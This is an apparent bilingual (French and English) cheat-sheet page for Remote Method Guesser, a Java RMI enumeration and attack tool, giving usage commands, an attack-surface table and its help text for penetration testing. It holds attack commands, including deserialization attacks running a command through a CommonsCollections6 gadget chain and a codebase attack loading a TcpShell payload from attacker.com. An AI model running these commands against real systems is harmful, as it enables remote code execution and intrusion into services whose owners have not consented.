retour aux outils back to tools Ducklings

Remote Method Guesser

Outil d'énumération et d'attaque Java RMI. Identifie les services RMI exposés et facilite les attaques de désérialisation. Java RMI enumeration and attack tool. Identifies exposed RMI services and facilitates deserialization attacks.

↗ https://github.com/qtc-de/remote-method-guesser

Overview

Remote Method Guesser (rmg) is a Java tool for attacking Java RMI (Remote Method Invocation) endpoints. It enumerates bound names, guesses method signatures, and performs deserialization attacks against RMI services.

Common Usage

Enumerate RMI registry

java -jar rmg.jar enum 10.10.10.1 1099

List bound objects

java -jar rmg.jar list 10.10.10.1 1099

Guess method signatures on a bound object

java -jar rmg.jar guess 10.10.10.1 1099

Call a method (if signature is known)

java -jar rmg.jar call 10.10.10.1 1099 '"id"' --bound-name service --signature "String execute(String)"

Deserialization attack via RMI

java -jar rmg.jar serial 10.10.10.1 1099 CommonsCollections6 'id' --bound-name service

Deserialization via RMI activation system

java -jar rmg.jar serial 10.10.10.1 1099 CommonsCollections6 'id' --activation

Codebase / remote class load attack

java -jar rmg.jar codebase 10.10.10.1 1099 TcpShell http://attacker.com/

RMI Attack Surface

Vector	Description
Deserialization	Gadget chain in method argument
Codebase	Remote class loading (requires `useCodebaseOnly=false`)
DGC	Distributed GC deserialization
Registry	Direct registry manipulation

Help / Man page

java -jar rmg.jar <action> [options]

ACTIONS:
  enum        Enumerate RMI service (full scan)
  list        List bound names on RMI registry
  guess       Guess methods on bound objects
  call        Call a specific RMI method
  serial      Perform deserialization attack
  codebase    Perform codebase / remote class load attack
  roguejmx    Setup a rogue JMX listener
  bind        Bind an object to registry
  rebind      Rebind an existing object
  unbind      Remove a bound name

COMMON OPTIONS:
  host port   Target RMI host and port (default: 1099)
  --bound-name NAME   Target a specific bound object
  --signature SIG     Method signature (e.g. "String execute(String)")
  --gadget CHAIN      ysoserial gadget chain for serial attacks
  --payload CMD       Command for the gadget chain
  --activation        Target RMI activation system
  --component dgc     Target DGC instead of registry

ENUMERATION:
  enum checks: bound names, JEP290 filter, codebase, serialization
  format: --json, --verbose

Vue d’ensemble

Remote Method Guesser (rmg) est un outil Java pour attaquer les endpoints Java RMI (Remote Method Invocation). Il énumère les noms liés, devine les signatures de méthodes, et réalise des attaques de désérialisation contre les services RMI.

Utilisation courante

# Énumérer le registre RMI
java -jar rmg.jar enum 10.10.10.1 1099

# Lister les objets liés
java -jar rmg.jar list 10.10.10.1 1099

# Deviner les signatures de méthodes sur un objet lié
java -jar rmg.jar guess 10.10.10.1 1099

# Appeler une méthode (si la signature est connue)
java -jar rmg.jar call 10.10.10.1 1099 '"id"' --bound-name service --signature "String execute(String)"

# Attaque de désérialisation via RMI
java -jar rmg.jar serial 10.10.10.1 1099 CommonsCollections6 'id' --bound-name service

# Désérialisation via le système d'activation RMI
java -jar rmg.jar serial 10.10.10.1 1099 CommonsCollections6 'id' --activation

# Attaque par codebase / chargement de classe distant
java -jar rmg.jar codebase 10.10.10.1 1099 TcpShell http://attacker.com/

Surface d’attaque RMI

Vecteur	Description
Désérialisation	Chaîne de gadgets dans l’argument de méthode
Codebase	Chargement de classe distant (nécessite `useCodebaseOnly=false`)
DGC	Désérialisation du Garbage Collector distribué
Registre	Manipulation directe du registre

Aide / Page de manuel

java -jar rmg.jar <action> [options]

ACTIONS:
  enum        Enumerate RMI service (full scan)
  list        List bound names on RMI registry
  guess       Guess methods on bound objects
  call        Call a specific RMI method
  serial      Perform deserialization attack
  codebase    Perform codebase / remote class load attack
  roguejmx    Setup a rogue JMX listener
  bind        Bind an object to registry
  rebind      Rebind an existing object
  unbind      Remove a bound name

COMMON OPTIONS:
  host port   Target RMI host and port (default: 1099)
  --bound-name NAME   Target a specific bound object
  --signature SIG     Method signature (e.g. "String execute(String)")
  --gadget CHAIN      ysoserial gadget chain for serial attacks
  --payload CMD       Command for the gadget chain
  --activation        Target RMI activation system
  --component dgc     Target DGC instead of registry

ENUMERATION:
  enum checks: bound names, JEP290 filter, codebase, serialization
  format: --json, --verbose